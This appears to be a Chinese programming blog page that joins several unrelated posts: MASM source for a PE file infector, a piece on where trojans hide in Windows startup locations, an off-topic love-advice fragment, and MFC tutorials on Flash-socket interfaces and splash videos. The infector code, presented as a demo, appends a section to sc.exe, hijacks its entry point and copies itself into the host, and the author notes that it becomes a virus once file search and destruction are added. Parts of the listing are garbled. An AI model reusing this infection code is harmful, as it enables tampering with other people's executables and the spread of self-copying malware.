Rise的自留地

记录生活中的点滴,分享编程技术和游戏开发经验。

0%

闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首

先得作好被我的垃圾代码扫了雅兴的准备.这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节

名'.hum',被附加程序启动前会显示一个MsgBox,以显示一些信息,你可以用来给自己破的软件来一个所谓的版权信息(我最痛恨的就是....这个!

烦),当然也可以执行其他一些操作,实际上,再加上文件搜索功能和破坏例程,这就将是一个最简单的病毒....

  这个例子没有优化,也没有安排好结构,有兴趣的凑合着看吧,另外还有一些冗余,没有兴趣整理了.
  编译要加入/section:.text,RWE选项.默认操作是对同目录下的sc.exe(heh..,my starcraft).
  .记住,PE文件实际上是很简单的,只要你耐心看下去.
注:虽然用了Virus字样,但不是病毒...

.586
.model flat, stdcall
option casemap :none  ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

;;--------------

GetApiA        proto    :DWORD,:DWORD

;;--------------
  .CODE
VirusLen        =  vEnd-vBegin                ;Virus 长度
vBegin:
;-----------------------------------------
include s_api.asm                ;查找需要的api地址
;-----------------------------------------

desfile        db "sc.exe",0
fsize          dd ?
hfile          dd ?
hMap            dd ?
pMem            dd ?
;-----------------------------------------
pe_Header      dd ?
sec_align      dd ?
file_align      dd ?
newEip          dd ?
oldEip          dd ?
inc_size        dd ?
oldEnd          dd ?
;-----------------------------------------

sMessageBoxA                            db "MessageBoxA",0

aMessageBoxA                    dd 0

;;临时变量...
sztit                  db "By Hume,2002",0
szMsg0                  db "Hey,Hope U enjoy it!",0
CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                      db "        Thx for using it!",0dh,0ah
                      db "Contact: Humewen@21cn.com",0dh,0ah
                      db "        humeasm.yeah.net",0dh,0ah
                      db "The add Code SiZe:(heX)"
val                    dd 0,0,0,0
;;-----------------------------------------

__Start:
      
      call    _gd
_gd:  
      pop    ebp                            ;得到delta地址
      sub    ebp,offset _gd                        ;因为在其他程序中基址可能不是默认的所以需要重定位
      mov    dword ptr [ebp+appBase],ebp    ;呵呵仔细想想
  mov    eax,[esp]                      ;返回地址
      xor    edx,edx
getK32Base:
      dec    eax                            ;逐字节比较验证
      mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
      test    dx,0f000h                      ;Dos Header+stub不可能太大,超过4096byte
      jnz    getK32Base                      ;加速检验
      cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
      jnz    getK32Base                      ;看Image_Base值是否等于ecx即模块起始值,
      mov    [ebp+k32Base],eax              ;如果是,就认为找到kernel32的Base值
             lea    edi,[ebp+aGetModuleHandle]
      lea    esi,[ebp+lpApiAddrs]
lop_get:
      lodsd
      cmp    eax,0
      jz      End_Get
      add    eax,ebp
      push    eax
      push    dword ptr [ebp+k32Base]
      call    GetApiA                        
      stosd
      jmp    lop_get                          ;获得api地址,参见s_api文件                      
End_Get:
      call    my_infect
      include dislen.asm
      ;-----------------------------------------
CouldNotInfect:

__where:                                        
      xor    eax,eax                ;判断是否是已经附加,标志'dark'
      push    eax
      call    [ebp+aGetModuleHandle]
      mov    esi,eax
      add    esi,[esi+3ch]  ;->esi->程序本身的Pe_header
      cmp    dword ptr [esi+8],'dark'
      je      jmp_oep
      jmp    __xit                  ;退出启动程序
jmp_oep:
      add    eax,[ebp+oldEip]        
      jmp    eax                    ;跳到宿主程序的入口点

my_infect:                              ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
      xor    eax,eax
      push    eax
      push    eax
      push    OPEN_EXISTING
      push    eax
      push    eax
      push    GENERIC_READ+GENERIC_WRITE
      lea    eax,[ebp+desfile]
      push    eax
      call    [ebp+aCreateFile]                    ;打开目标文件
      inc    eax
      je      __Err
      dec    eax
      mov    [ebp+hfile],eax  
      push    eax
      sub    ebx,ebx
      push    ebx
      push    eax                    ;得到文件大小
      call    [ebp+aGetFileSize]
      inc    eax
      je      __sclosefile
      dec    eax
      mov    [ebp+fsize],eax
      xchg    eax,ecx
      add    ecx,1000h              ;文件大小增加...4096
      pop    eax                                  
      xor    ebx,ebx                              ;创建映射文件
      push    ebx
      push    ecx            ;文件大小等于原大小+Vsize
      push    ebx            
      push    PAGE_READWRITE
      push    ebx
      push    eax
      call    [ebp+aCreateFileMapping]
      test    eax,eax
      je      __sclosefile
      mov    [ebp+hMap],eax                      ;创建成功否?
      xor    ebx,ebx
      push    ebx
      push    ebx
      push    ebx
      push    FILE_MAP_WRITE    
      push    eax
      call    [ebp+aMapViewOfFile]
      test    eax,eax
      je      __sclosemap                          ; 映射文件,是否成功?
      mov    [ebp+pMem],eax
      ;--------------------------------------------
      ; the following is modifying part,add new section
      ;--------------------------------------------
      include modipe.asm

__sunview:
      push    [ebp+pMem]
      call    [ebp+aUnmapViewOfFile]
__sclosemap:
      push    [ebp+hMap]
      call    [ebp+aCloseHandle]
__sclosefile:
      push    [ebp+hfile]
      call    [ebp+aCloseHandle]
__Err::
      ret
    
;-----------------------------------------
__xit:  

      push    0
      call    [ebp+aExitProcess]
vEnd:  
;-----------------------------------------

END    __Start
;;==============================================
;;s_api.asm
;;手动查找api部分

K32_api_retrieve        proc    Base:DWORD ,sApi:DWORD

      push    edx                    ;保存edx    
      xor    eax,eax                ;此时esi=sApi
Next_Api:                              ;edi=AddressOfNames
      mov    esi,sApi
      xor    edx,edx
      dec    edx
Match_Api_name:
      movzx  ebx,byte  ptr [esi]
      inc    esi
      cmp    ebx,0
      je      foundit
      inc    edx
      push    eax
      mov    eax,[edi+eax*4]        ;AddressOfNames的指针,递增
      add    eax,Base                ;注意是RVA,一定要加Base值
      cmp    bl,byte  ptr [eax+edx]  ;逐字符比较  
      pop    eax
      je      Match_Api_name          ;继续搜寻
      inc    eax                    ;不匹配,下一个api
      loop    Next_Api
no_exist:
      pop    edx                    ;若全部搜完,即未存在
      xor    eax,eax
      ret
                              
foundit:
      pop    edx                    ;edx=AddressOfNameOrdinals
                                ;*2得到AddressOfNameOrdinals的指针
      movzx  eax,word  ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针
      ret
K32_api_retrieve        endp
;-----------------------------------------

GetApiA        proc    Base:DWORD,sApi:DWORD
      local    ADDRofFun:DWORD
      pushad
      mov    esi,Base
      mov    eax,esi
      mov    ebx,eax
      mov    ecx,eax
      mov    edx,eax
      mov    edi,eax                            ;all is Base!
      add    ecx,[ecx+3ch]                      ;现在esi=off PE_HEADER                                                       
      add    esi,[ecx+78h]                      ;得到esi=IMAGE_EXPORT_DIRECTORY入口
      add    eax,[esi+1ch]                  ;eax=AddressOfFunctions的地址
      mov    ADDRofFun,eax
      mov    ecx,[esi+18h]                  ;ecx=NumberOfNames
      add    edx,[esi+24h]                  ;edx=AddressOfNameOrdinals
      add    edi,[esi+20h]                  ;esi=AddressOfNames
      invoke    K32_api_retrieve,Base,sApi
      mov    ebx,ADDRofFun
      mov    eax,[ebx+eax*4]                ;要*4才得到偏移

      add    eax,Base                        ;加上Base!
      mov    [esp+7*4],eax                  ;eax返回api地址
      popad
      ret
GetApiA        endp

u32                    db "User32.dll",0
k32                    db "Kernel32.dll",0

appBase        dd ?
k32Base        dd ?
;-----------------------------------------apis needed

lpApiAddrs      label  near
              dd      offset sGetModuleHandle
              dd      offset sGetProcAddress
              dd      offset sLoadLibrary
              dd      offset sCreateFile
              dd      offset sCreateFileMapping
              dd      offset sMapViewOfFile
              dd      offset sUnmapViewOfFile
              dd      offset sCloseHandle
              dd      offset sGetFileSize
              dd      offset sSetEndOfFile
              dd      offset sSetFilePointer

              dd      offset sExitProcess
              
              dd      0,0
              

sGetModuleHandle        db "GetModuleHandleA",0
sGetProcAddress        db "GetProcAddress",0
sLoadLibrary            db "LoadLibraryA",0
sCreateFile            db "CreateFileA",0
sCreateFileMapping      db "CreateFileMappingA",0
sMapViewOfFile          db "MapViewOfFile",0
sUnmapViewOfFile        db "UnmapViewOfFile",0
sCloseHandle            db "CloseHandle",0
sGetFileSize            db "GetFileSize",0
sSetFilePointer        db "SetFilePointer",0
sSetEndOfFile          db "SetEndOfFile",0

sExitProcess            db "ExitProcess",0

 

aGetModuleHandle                dd 0
aGetProcAddress                dd 0
aLoadLibrary                    dd 0
aCreateFile                    dd 0
aCreateFileMapping              dd 0
aMapViewOfFile                  dd 0
aUnmapViewOfFile                dd 0
aCloseHandle                    dd 0
aGetFileSize                    dd 0
aSetFilePointer                dd 0
aSetEndOfFile                  dd 0

aExitProcess                    dd 0
;-----------------------------------------
;;========================modipe.asm=================
      ;修改pe,添加节,实现传染功能

      xchg    eax,esi
      cmp    word  ptr [esi],'ZM'
      jne    CouldNotInfect
      add    esi,[esi+3ch]  ;指向PE_HEADER
      cmp    word  ptr [esi],'EP'
      jne    CouldNotInfect  ;是否是PE,否则不感染
      cmp    dword ptr [esi+8],'dark'
      je      CouldNotInfect
      mov    [ebp+pe_Header],esi  ;保存pe_Header指针

      mov    ecx,[esi+74h]  ;得到directory的数目
      imul    ecx,ecx,8

      lea    eax,[ecx+esi+78h]  ;data directory  eax->节表起始地址
      movzx  ecx,word  ptr [esi+6h]  ;节数目
      imul    ecx,ecx,28h            ;得到所有节表的大小
      add    eax,ecx                ;节结尾...
      xchg    eax,esi                ;eax->Pe_header,esi->最后节开始偏移

;;**************************
;;添加如下结构:
;;name .hum
;;VirtualSize==原size+VirSize
;;VirtualAddress=
;;SizeOfRawData 对齐
;;PointerToRawData
;;PointerToRelocations dd 0
;;PointerToLinenumbers dd ?  
;;NumberOfRelocations dw  ?  
;;NumberOfLinenumbers dw  ?
;;Characteristics      dd ?
;;**************************
      mov    dword ptr [esi],'muh.'  ;节名.hum
      mov    dword ptr [esi+8],VirusLen ;实际大小     
                                      ;计算VirtualSize和V.addr
      mov    ebx,[eax+38h]          ;SectionAlignment
      mov    [ebp+sec_align],ebx
      mov    edi,[eax+3ch]          ;file align
      mov    [ebp+file_align],edi       
      mov    ecx,[esi-40+0ch]        ;上一节的V.addr
      mov    eax,[esi-40+8]          ;上一节的实际大小
      xor    edx,edx
      div    ebx                    ;除以节对齐
      test    edx,edx
      je    @@@1
      inc    eax
@@@1:
      mul    ebx                    ;对齐后的节大小
      add    eax,ecx                ;加上V.addr就是新节的起始V.addr
      mov    [esi+0ch],eax          ;保存新section偏移RVA
      add    eax,__Start-vBegin
      mov    [ebp+newEip],eax        ;计算新的eip
      mov    dword ptr [esi+24h],0E0000020h    ;属性
      mov    eax,VirusLen            ;计算SizeOfRawData的大小
      cdq
      div    edi                    ;节的文件对齐
      je      @@@2
      inc    eax
@@@2:
      mul    edi
      mov    dword ptr [esi+10h],eax ;保存节对齐文件的大小
      mov    eax,[esi-40+14h]
      add    eax,[esi-40+10h]       mov    [esi+14h],eax          ;PointerToRawData更新       mov    [ebp+oldEnd],eax      ;

最后文件增加到...?

      
      mov    eax,[ebp+pe_Header]
      inc    word  ptr [eax+6h]      ;更新节数目
      mov    ebx,[eax+28h]          ;eip指针偏移
      mov    [ebp+oldEip],ebx        ;保存老指针
      mov    ebx,[ebp+newEip]
      mov    [eax+28h],ebx          ;更新指针值

      ;comment $
      mov    ebx,[eax+50h]          ;更新ImageSize
      add    ebx,VirusLen
      mov    ecx,[ebp+sec_align]
      xor    edx,edx
      xchg    eax,ebx        ;eax和ebx交换...
      cdq
      div    ecx
      test    edx,edx
      je      @@@3
      inc    eax
@@@3:
      mul    ecx
      xchg    eax,ebx        ;还原  eax->pe_Header
      mov    [eax+50h],ebx          ;保更新后的Image_Size大小
      ;$
      mov    dword ptr [eax+8],'dark'
      cld                      ;写入
      mov    ecx,VirusLen
      mov    edi,[ebp+oldEnd]
      add    edi,[ebp+pMem]
      lea    esi,[ebp+vBegin]
      rep    movsb                  ;写入文件,all is OK!
      
      xor    eax,eax
      sub    edi,[ebp+pMem]

      push    FILE_BEGIN
      push    eax
      push    edi
      push    [ebp+hfile]
      call    [ebp+aSetFilePointer]

      push    [ebp+hfile]
      call    [ebp+aSetEndOfFile]
;============================disLen.asm
    lea    eax,[ebp+u32]
      push    eax
      call    dword ptr [ebp+aLoadLibrary]
      test    eax,eax
      jnz    @g1      
@g1:
      
      lea    EDX,[EBP+sMessageBoxA]
      push    edx
      push    eax
      mov    eax,dword ptr [ebp+aGetProcAddress]
      call    eax
      mov    [ebp+aMessageBoxA],eax
      

      ;-----------------------------------------
      mov    ebx,VirusLen
      mov    ecx,8
      cld
      lea    edi,[ebp+val]
L1:
      rol    ebx,4
      call    binToAscii
      loop    L1

      push    40h+1000h
      lea    eax,[ebp+sztit]
      push    eax
      lea    eax,[ebp+CopyRight]
      push    eax
      push    0
      call    [ebp+aMessageBoxA]

      jmp    __where
;-----------------------------------------

binToAscii    proc  near
      mov    eax,ebx
      and    eax,0fh
      add    al,30h
      cmp    al,39h
  jbe    @f
      add    al,7
      
  @@:
      stosb
      ret
binToAscii    endp
;----------------------------over-----by hume

木马是一种基于远程控制的病毒程序,该程序具有很强的隐蔽性和危害性,它可以在人不知鬼不觉的状态下控制你或者监视你。有人说,既然木马这么厉害,那我离它远一点不就可以了!

  然而这个木马实在是“淘气”,它可不管你是否欢迎,只要它高兴,它就会想法设法地闯到你“家”中来的!哎呀,那还了得,赶快看看自己的电脑中有没有木马,说不定正在“家”中兴风作浪呢!那我怎么知道木马在哪里呢,相信不熟悉木马的菜鸟们肯定想知道这样的问题。下面就是木马潜伏的诡招,看了以后不要忘记采取绝招来对付这些损招哟!
  
  1、集成到程序中
  
  其实木马也是一个服务器-客户端程序,它为了不让用户能轻易地把它删除,就常常集成到程序里,一旦用户激活木马程序,那么木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。绑定到某一应用程序中,如绑定到系统文件,那么每一次Windows启动均会启动木马。
  
  2、隐藏在配置文件中
  
  木马实在是太狡猾,知道菜鸟们平时使用的是图形化界面的操作系统,对于那些已经不太重要的配置文件大多数是不闻不问了,这正好给木马提供了一个藏身之处。而且利用配置文件的特殊作用,木马很容易就能在大家的计算机中运行、发作,从而偷窥或者监视大家。不过,现在这种方式不是很隐蔽,容易被发现,所以在Autoexec.bat和Config.sys中加载木马程序的并不多见,但也不能因此而掉以轻心哦。
  
  3、潜伏在Win.ini中
  
  木马要想达到控制或者监视计算机的目的,必须要运行,然而没有人会傻到自己在自己的计算机中运行这个该死的木马。当然,木马也早有心理准备,知道人类是高智商的动物,不会帮助它工作的,因此它必须找一个既安全又能在系统启动时自动运行的地方,于是潜伏在Win.ini中是木马感觉比较惬意的地方。大家不妨打开Win.ini来看看,在它的[windows]字段中有启动命令“load=”和“run=”,在一般情况下“=”后面是空白的,如果有后跟程序,比方说是这个样子:run=c:\windows\file.exe load=c:\windows\file.exe
  
  这时你就要小心了,这个file.exe很可能是木马哦。
  
  4、伪装在普通文件中
  
  这个方法出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图片图标, 再把文件名改为*.jpg.exe, 由于Win98默认设置是"不显示已知的文件后缀名",文件将会显示为*.jpg, 不注意的人一点这个图标就中木马了(如果你在程序中嵌一张图片就更完美了)。
  
  5、内置到注册表中
  
  上面的方法让木马着实舒服了一阵,既没有人能找到它,又能自动运行,真是快哉!然而好景不长,人类很快就把它的马脚揪了出来,并对它进行了严厉的惩罚!但是它还心有不甘,总结了失败教训后,认为上面的藏身之处很容易找,现在必须躲在不容易被人发现的地方,于是它想到了注册表!

  的确注册表由于比较复杂,木马常常喜欢藏在这里快活,赶快检查一下,有什么程序在其下,睁大眼睛仔细看了,别放过木马哦:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY-USERS\.Default\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值。

    6、在System.ini中藏身
  
  木马真是无处不在呀!什么地方有空子,它就往哪里钻!这不,Windows安装目录下的System.ini也是木马喜欢隐蔽的地方。还是小心点,打开这个文件看看,它与正常文件有什么不同,在该文件的[boot]字段中,是不是有这样的内容,那就是shell=Explorer.exe file.exe,如果确实有这样的内容,那你就不幸了,因为这里的file.exe就是木马服务端程序!另外,在System.ini中的[386Enh]字段,要注意检查在此段内的“driver=路径\程序名”,这里也有可能被木马所利用。

  再有,在System.ini中的[mic]、[drivers]、[drivers32]这三个字段,这些段也是起到加载驱动程序的作用,但也是增添木马程序的好场所,现在你该知道也要注意这里喽。
  
  、隐形于启动组中
  
  有时木马并不在乎自己的行踪,它更注意的是能否自动加载到系统中,因为一旦木马加载到系统中,任你用什么方法你都无法将它赶跑(哎,这木马脸皮也真是太厚),因此按照这个逻辑,启动组也是木马可以藏身的好地方,因为这里的确是自动加载运行的好场所。
  动组对应的文件夹为:C:\windows\start menu\programs\startup,在注册表中的位置:
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
  \ShellFolders Startup="C:\windows\start menu\programs\startup"。要注意经常检查启动组哦!
  
  8、隐蔽在Winstart.bat中
  
  按照上面的逻辑理论,凡是利于木马能自动加载的地方,木马都喜欢呆。这不,Winstart.bat也是一个能自动被Windows加载运行的文件,它多数情况下为应用程序及Windows自动生成,在执行了Win.com并加载了多数驱动程序之后开始执行(这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Winstart.bat代替完成,因此木马完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。
  
  9、捆绑在启动文件中
  
  即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。
  
  10、设置在超级连接中
  
  木马的主人在网页上放置恶意代码,引诱用户点击,用户点击的结果不言而喻:开门揖盗!奉劝不要随便点击网页上的链接,除非你了解它,信任它,为它死了也愿意等等。

  I-Inject—-投入

  投入,这个投入有很多概念,有对自己所爱的人,投入自己所有的感情,让你所爱的人感受到你真实的爱的存在,也有对自己的投入,投入自己对爱的理念的深入,对爱的真谛的理解,对双方未来的理性思考。还有在经济方面的投入也是不可缺少的,没有面包的爱情,真的很难在现实中存在的。总之要获得爱情就要投入的很多!

 

曾经在VCKbaseVC知识库)网站看到过一篇关于Flash的文章,叫做VC中使用 Flash 美化你的程序,文章中介绍的是使用Flash控件在对话框程序中播放Flash文件。由于以前的工作需要曾经接触过使用Scoket通信在VCExe程序和Flash程序中通信的相关技术。在这里介绍给大家。相比上面的那篇文章,其有一下有点:

1、  界面上更加优美。所有的界面部分都是直接使用Flash

2、  所能完成的功能更加完备。几乎所有能在VC的程序中能使用的功能都可以使用。

要做到以上两点所要做的工作也是很简单的,使用的技术也很简单。只要求以下几点:

1、  会使用简单的Flash编辑工具。会写简单的Flash Script脚本。

2、  Socket编程的相关知识。

程序的原理就是:VC程序(对话框程序)在启动以后最小化的任务栏,并建立一个Socket Server进行侦听,在建立完Socket和设置好相关的处理函数以后,启动编译为ExeFlash程序,Flash程序通过SocketVC程序建立连接,将Flash界面上的操作转换为Socket通信,让VC程序处理完成以后将结果返回给Flash程序。其简单的步骤为:

1、  VC程序端(或者其他任何编程语言的程序):建立一个对话框程序,在APP类的InitInstance()函数中添加Scoket初始化:

if (!AfxSocketInit())

       {

              AfxMessageBox(IDP_SOCKETS_INIT_FAILED);

              return FALSE;

}

2、  在对话框类的OnInitDialog()函数中添加处理界面部分的程序段:

MoveWindow(0,0,0,0);  //将对话框程序界面改变为0

ShowWindow(SW_SHOWMINIMIZED);   //使界面最小化到任务栏

OnOK(); //调用对话框的OnOK函数

3、  在对话框类的OnOK()函数中建立Socket server并侦听:

WSADATA wsaData;

    int iErrorCode;

    if (WSAStartup(MAKEWORD(2,1),&wsaData)) //Windows Sockets DLL

       {

               AfxMessageBox("Winsock can not initialize.",MB_ICONSTOP);

         WSACleanup();

               SendMessage(WM_CLOSE,NULL,NULL);//关闭对话框程序

         return;

       }

 

       //Create server Sockettype is SOCK_STREAM

       ServerSocket = socket(PF_INET,SOCK_STREAM,0);   

    if(ServerSocket == INVALID_SOCKET)

       {

              AfxMessageBox("Could not create server Socket.",MB_ICONSTOP);

              SendMessage(WM_CLOSE,NULL,NULL); //关闭对话框程序

         return;

       }

 

m_sockServerAddr.sin_family = AF_INET;

//IP 设置为广播

    m_sockServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

       //使用9813端口,自己编程的时候可以随意选择,最好使用5000以后的

    m_sockServerAddr.sin_port = htons(9813);

 

//绑定Socket

    if (bind(ServerSocket,(LPSOCKADDR)&m_sockServerAddr,sizeof(m_sockServerAddr)) == SOCKET_ERROR) //

    {

              AfxMessageBox("Could not bind Server socket.",MB_ICONSTOP);

              SendMessage(WM_CLOSE,NULL,NULL); //关闭对话框程序

        return;

       }

    iErrorCode = WSAAsyncSelect(ServerSocket,m_hWnd,WM_CLIENT_ACCEPT,FD_ACCEPT);

    if (iErrorCode == SOCKET_ERROR)

       {

              AfxMessageBox("Could not select socket.",MB_ICONSTOP);

           SendMessage(WM_CLOSE,NULL,NULL); //关闭对话框程序

         return;

       }

 

    if (listen(ServerSocket,1) == SOCKET_ERROR) //begin listen client

       {

              AfxMessageBox("Could not listen.",MB_ICONSTOP);

              SendMessage(WM_CLOSE,NULL,NULL);

        return;

       }

       //启动Flash程序

       CString FlashExePath;

       char DialogExePath[256];

   //获得对话框程序的路径,包含文件名

       ::GetModuleFileName(0, DialogExePath, sizeof(DialogExePath));

       FlashExePath = DialogExePath;

   //去除对话框程序文件名,获得所在目录路径

       int Len = FlashExePath.ReverseFind('\\');

       FlashExePath = FlashExePath.Left(Len);

       // Sample.exe为编译好的Flash程序,存放在和VC程序同一目录下

       FlashExePath  += "\\Sample.exe"; 

WinExec(FlashExePath,1);

      

       return;

}

相关变量定义在对话框类的头文件中,作为成员变量:

SOCKET Client;        //客户的连接请求

       SOCKET ServerSocket;             //SOCKET

       SOCKADDR_IN m_sockServerAddr;  //SOCKET 结构

4.在对话框程序中添加Socket的处理函数:

头文件中添加:

#define WM_CLIENT_ACCEPT WM_USER+101

#define WM_CLIENT_READCLOSE WM_USER+102

LRESULT OnAccept(WPARAM wParam, LPARAM lParam);

LRESULT OnReadClose(WPARAM wParam,LPARAM lParam);

CPP文件中添加消息映射宏和相关函数的实现:

       ON_MESSAGE(WM_CLIENT_ACCEPT,OnAccept)

       ON_MESSAGE(WM_CLIENT_READCLOSE,OnReadClose)

LRESULT CSetupDlg::OnAccept(WPARAM wParam,LPARAM lParam)

{

//出错返回

       if (WSAGETSELECTERROR(lParam))

       {

              return 0L;

       }

      

       if(WSAGETSELECTEVENT(lParam) == FD_ACCEPT)

       {

           Client = accept(ServerSocket,(LPSOCKADDR)&m_sockServerAddr,0);

 

           if (Client == INVALID_SOCKET)

              {

                     AfxMessageBox("INVALID_SOCKET.",MB_ICONSTOP);

                     return 0L;

              }

              WSAAsyncSelect(Client,m_hWnd,WM_CLIENT_READCLOSE,FD_READ|FD_CLOSE);

       }

      

       return 0L;

}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

LRESULT CSetupDlg::OnReadClose(WPARAM wParam,LPARAM lParam)

{  

//在这里接收从Flash发送来的数据包,并解析它们,根据包中的数据不同通过Swith执行相//关的操作,可以调用其他的函数,需要将执行的结果返回(发送)给Flash

       CString str;

       switch (WSAGETSELECTEVENT(lParam))

       {

       //这里的msgmsg中的相关定义都是自定义的结构体

       case FD_READ:

              if(recv(Client,(char *)&msg,sizeof(msg),0) == SOCKET_ERROR)

              {

                     return 0;

              }

              str.Format("%s",msg.msg);

              list.InsertString(0,str);

              {     

                     PSockmsg recmsg=(PSockmsg)msg.msg;

                     str=recmsg->msg;

                     switch(recmsg->action)

                     {

                            case 'D':

                                   break;          

                            case 'W':

                                   break;

                            default:

                     }

              }

              break;

       case FD_CLOSE:

              str = _T("client close.");

              closesocket(Client);//关闭Socket

              SendMessage(WM_CLOSE,NULL,NULL);//发送消息结束程序

              break;

       }

       return 0L;

}

这段函数我就不多解释了,注意在OnOK中的WSAAsyncSelect调用确定了当收到发生Socket事件的时候发出WM_CLIENT_ACCEPT消息。第二个消息处理函数中用到了一些自定义的结构体,这是在和Flash统一以后确定的一些结构体,用于在FlashVC程序之间传递消息参数的,这也是其重要的部分,需要根据实际的情况确定。

 

2Flash:需要进行Socket连接,并组织并发送相关的Socket包,接收VC端返回的结果。参考代码:

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

function onsock(success) {

        if (success) {

            _root.gotoAndPlay(2);

        } else {

            _root.gSock.connect("127.0.0.1", 9813);//连接VC程序

         }

    }

    function onsockclose() {

        fscommand ("quit");

    }

    stop();

    fscommand ("fullscreen", false);

    fscommand ("allowscale", false);

    fscommand ("showmenu", false);

    Stage.showMenu = false;

    var gSock = new XMLSocket ();//new一个Socket对象

    var installed = false;

    var usethreeside = false;

    var havewireless = false;

    var finished = false;

    var osys = true;

    var mem = true;

    var processor = true;

    var harddisk = true;

    var network = true;

    gSock.onClose = onsockclose;//指定Socket的相关回调函数

    _root.gSock.connect("127.0.0.1", 9813);//调用自定义的函数

_root.gSock.onConnect = onsock;

///////////////////////////////////////////////////////////////

//接收并判断相关的在VC程序段执行的结果。

function onrecv(XMLDoc) {

        var _local2;

        _local2 = XMLDoc.toString();

        if (_local2 == "failed") {

            _root.osys = false;

        }

        _root.gotoAndPlay(196);

    }

    _root.stop();

    _root.gSock.onXML = onrecv;

    var local1;

    local1 = "Wcheckos";//相关的信息组织

    _root.gSock.send(local1);//发送数据

 

就写这么多了,也许相关的说明不是很清楚,主要是因为在做这个工作的时候,Flash端都是公司的美工做的,我对Flash也不是很熟悉。一直想给大家做一个Demo程序,但是真的是由于本人对Flash的操作实在是有限,如果有相关的Flash高手愿意,可以联系我一起给大家做一个Demo。我现在的Mail为:vcleaner@sina.com。这种应用一般使用在安装程序上的比较多,通过Socket通信在VC程序端调用相关的函数执行一些在Flash中很难执行的操作,比如检测硬件,写系统注册表,Copy文件,调用第三方的程序等等。

—- 需要解决四个问题:
—- 首先,在应用程序视类的构造函数中创建视频窗口,在初始化函数中开始播放;
—- 其次,建立一个计时器。利用Class Vizard为WM_TIMER增加消息处理函数,以自动关闭视频窗口并显示应用程序主窗口;
—- 另外,为了便于从MCIWnd子类化窗口的鼠标消息处理函数中,对应用程序视类的计时器处理函数进行控制,引入一个布尔型全局变量,用来标示是否可以关闭视频窗口;
—- 最后,也是最关键的,应用程序可以截获发生在主窗口内的鼠标消息,却无法截获发生在视频窗口内的鼠标消息,因为Windows已将视频窗口的鼠标消息处理函数封装在MCIWnd窗口类中。所以,为了截获发生在视频窗口内的鼠标信息,需要重新定义MCIWnd窗口消息处理函数。
—- 具体操作步骤如下(在Visual C++6.0环境下调试通过):
—- (1)在应用程序类的头文件中加入布尔型全局变量:
class CMyApp : public CWinApp
{
public:
bool m_CanClose;

}
  
(2)在应用程序类的构造函数中对这一标志变量进行初始化:
CMyApp::CMyApp()
{
m_CanClose=false;

}
  
(3)在CMyView类的头文件中,加入成员変量:
private:
HWND m_VideoWnd; //视频窗口句柄
long m_VideoLength; //视频放映总长度
  
(4)在MyView.CPP文件中加入以下内容:
WNDPROC OldProc; //保存原映射函数
LRESULT CALLBACK NewProc(HWND,UINT,
WPARAM,LPARAM);
//新映射函数

CMyView::CMyView()
{
CString filename(“D:\Video\Cover.avi”);
//建立视频窗口,并将句柄保存在m_VideoWnd中:
m_VideoWnd = MCIWndCreate(
this- >GetSafeHwnd(),
AfxGetInstanceHandle(),
WS_POPUP|WS_VISIBLE|
MCIWNDF_NOPLAYBAR|
MCIWNDF_NOMENU,
filename);
//使视频窗口在屏幕上居中显示:
RECT rect;
int sx,sy;
::GetWindowRect(m_VideoWnd,&rect);
sx=(::GetSystemMetrics(SM_CXSCREEN)
-rect.right+rect.left)/2;
sy=(::GetSystemMetrics(SM_CYSCREEN)
-rect.bottom+rect.top)/2;
::SetWindowPos(m_VideoWnd,HWND_TOPMOST,sx,
sy,0,0,SWP_SHOWWINDOW|SWP_NOSIZE);
}
  
void CMyView::OnInitialUpdate()
{
CView::OnInitialUpdate();
/* 调用GetWindowLong函数得到
m_VideoWnd窗口原消息处理函数的入口地址,
并保存在OldProc中。/
OldProc=(WNDPROC) ::GetWindowLong(m_VideoWnd,
GWL_WNDPROC);
/
调用SetWindowLong函数将
m_VideoWnd窗口消息处理函数的入口地址改为NewProc */
::SetWindowLong(m_VideoWnd,GWL_WNDPROC,
(LONG)NewProc);
m_VideoLength = MCIWndGetLength(m_VideoWnd);
//得到视频放映总长度
MCIWndPlay(m_VideoWnd);
//播放视频文件
SetTimer(1,20,NULL);
//建立计时器,每20毫秒激活一次OnTimer函数
  
}
  
void CMyView::OnTimer(UINT nIDEvent)
{
CMyApp *app=(CMyApp *)AfxGetApp();
if(MCIWndGetPosition(m_VideoWnd) >=m_VideoLength
//自动播放结束
||app-> m_CanClose==true)
//人为按下鼠标左键结束
{
KillTimer(1); //撤消计时器
MCIWndDestroy(m_VideoWnd); //撤消视频窗口
AfxGetMainWnd()- >ShowWindow(SW_SHOWMAXIMIZED);
//显示主窗口
}
CMyView::OnTimer(nIDEvent);
}
  
LRESULT CALLBACK NewProc(HWND hWnd,UINT message,
WPARAM wParam,LPARAM lParam)
{
if(message==WM_LBUTTONDOWN) //鼠标左键被按下
{
CJapanApp *app=(CJapanApp *)AfxGetApp();
app- >m_CanClose=true; //可以关闭视频窗口
}
